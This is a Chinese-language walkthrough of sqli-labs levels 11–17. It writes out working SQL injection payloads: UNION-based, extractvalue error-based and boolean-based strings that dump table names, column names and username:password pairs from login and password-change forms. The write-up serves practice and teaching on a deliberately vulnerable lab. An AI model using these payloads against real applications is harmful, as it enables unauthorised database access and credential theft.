less-11
发现一个登录框,第一反应是弱口令,先试试。
接下来检测下sql注入。使用bp抓包,看字节数。
正常的字节数,1523
加单引号’
单引号闭合,字节数正常,说明存在字符型注入。
先看看显示位,3报错,试试2
说明有两个显示位,使用联合注入。
1'union select 1,database()#
后面就按部就班的来。
爆表
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆字段
1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆数据
1'union select 1,group_concat(username,":",password) from users #
less-12
经过和less-11一样的测试,发现是双引号加括号闭合,操作和less-11一样,将单引号改成")即可。
1")union select 1,group_concat(username,":",password) from users #
less-13
用户输入:admin’#;密码随便输。
说明闭合条件是’)
登陆成功,不显示任何信息,尝试报错函数。
admin')and extractvalue(1,concat(0x7e,(select database()),0x7e))#
爆表
1')and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) #
爆字段
1')and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)) #
因为报错最多返回32位,所以要使用limit来输出。
1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 5,1),0x7e)) #
爆数据
1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) #
less-14
经过测试,是双引号闭合,将less-13中的’)换成"即可
1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
后面就不演示了。
less-15
说明存在字符型注入,成功或者失败都不显示信息,使用布尔注入。
1' or substr(database(),1,1)='s'#
结合bp,爆库。
爆表
爆字段
爆数据
less-16
测试发现输入1")or 1=1#成功登陆,且成功或失败都不显示信息,方法和less-15一样,只不过将单引号’改成")即可。
1")or substr(database(),1,1)='s'#
less-17
看到页面,显示修改密码。
在用户框尝试万能密码不行,再在密码框试试1’or 1=1#,发现
说明密码框存在注入。
首先我们要知道用户的名字(前提)然后才可以接着进行下面的操作,即在password处进行sql注入。
经过测试,发现属于字符型注入。
使用报错注入。
爆库
1' and extractvalue(1,concat(0x7e,database()))#
爆表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) #
爆字段
1'and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 5,1),0x7e)) #
爆数据
1'and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) #
提示不能在FROM句子中为update 指定目标表 users。
换个payload
1'and extractvalue(1,concat(0x7e,(select username from (select username from users limit 0,1)users limit 0,1),0x7e)) #
也可以使用布尔注入。